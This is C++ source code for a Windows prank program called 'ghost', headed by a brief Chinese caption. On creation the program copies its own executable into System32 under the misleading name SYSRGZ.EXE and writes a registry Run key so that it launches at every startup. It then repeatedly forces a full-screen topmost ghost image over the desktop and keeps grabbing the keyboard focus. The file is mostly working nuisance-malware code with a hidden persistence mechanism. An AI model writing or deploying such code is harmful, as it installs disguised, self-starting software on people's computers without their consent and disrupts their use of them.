ghost.cpp

一个漂亮

// ghost.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "resource.h"
#define   ID_TIMER  1

HINSTANCE   g_hInst;

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    WNDCLASSEX       wndclass;
	HWND             hwnd;
	MSG              msg;

	g_hInst=hInstance;   //  save the globle instance

	wndclass.cbSize=sizeof(WNDCLASSEX);
	wndclass.style=NULL;
	wndclass.lpfnWndProc=(WNDPROC)MainWndProc;
	wndclass.lpszClassName="windows";
	wndclass.cbWndExtra=NULL;
	wndclass.cbClsExtra=NULL;
	wndclass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
	wndclass.hCursor=LoadCursor(NULL,LPCTSTR(IDC_ARROW));
    wndclass.hIcon=LoadIcon(hInstance,LPCTSTR(IDI_ICON));
	wndclass.hInstance=hInstance;
	wndclass.lpszMenuName=NULL;
	wndclass.hIconSm=LoadIcon(hInstance,LPCTSTR(IDI_ICON));

     if(!RegisterClassEx(&wndclass))
	 {
		 MessageBox(NULL,TEXT("ERROR!"),TEXT("ERROR!"),MB_OK);
	     return 0;
	 }
		 hwnd=CreateWindowEx(WS_EX_TOPMOST,
		 TEXT("windows"),
		 TEXT("windows"),
		 WS_POPUPWINDOW,
		 0,
		 0,
		 1024,
		 768,
		 NULL,
		 NULL,
		 hInstance,
		 NULL);

	 ShowWindow(hwnd,SW_HIDE);
	 UpdateWindow(hwnd);

	 while(GetMessage(&msg,NULL,NULL,NULL))
	 {
	       TranslateMessage(&msg);
		   DispatchMessage(&msg);
	 }

	return msg.wParam;
}

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
	char   buffer[200]={'\0'};
	static char   sysDir[80]={'\0'};
	static HBITMAP     hBitmapGhost;    
	HDC    hdc,hdcRes;
	PAINTSTRUCT   ps;
	HKEY     hKey;
	switch(message)
	{
	case WM_CREATE:
		hBitmapGhost=LoadBitmap(g_hInst,LPCTSTR(IDB_BITMAP_GHOST));
		SetTimer(hwnd,ID_TIMER,10000,NULL);

		GetCurrentDirectory(200,buffer);
		GetWindowsDirectory(sysDir,80);
		strcat(sysDir,"\\System32\\SYSRGZ.EXE");
		strcat(buffer,"\\ghost.EXE");
		//  复制到系统文件夹
		if(!CopyFile(buffer,sysDir,TRUE))  
			return 0;
		else
		//   修改注册表
			if(RegOpenKey(HKEY_LOCAL_MACHINE,
				"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
				&hKey) == ERROR_SUCCESS)
			RegSetValueEx(hKey,"SYSRGZ",0,REG_SZ,(BYTE *)sysDir,sizeof(sysDir));
		return 0;
	case WM_PAINT:
		hdc=BeginPaint(hwnd,&ps);
		hdcRes=CreateCompatibleDC(hdc);
		SelectObject(hdcRes,HGDIOBJ(hBitmapGhost));
		BitBlt(hdc,0,0,1024,768,hdcRes,0,0,SRCCOPY);
		EndPaint(hwnd,&ps);
		DeleteDC(hdcRes);
		return 0;
	case WM_KEYDOWN:
			SetWindowPos(hwnd,0,0,0,0,0,SWP_HIDEWINDOW);
			return 0;
	case WM_TIMER:
		SendMessage(hwnd,WM_KILLFOCUS,0,0);
//		SetWindowPos(hwnd,HWND_TOP ,0,0,1024,768,SWP_SHOWWINDOW);
		ShowWindow(hwnd,SW_MAXIMIZE);
		InvalidateRect(hwnd,NULL,TRUE);
		return 0;
	case WM_KILLFOCUS:
		SetFocus(hwnd);
		return 0;
	}
	return DefWindowProc(hwnd,message,wParam,lParam);
}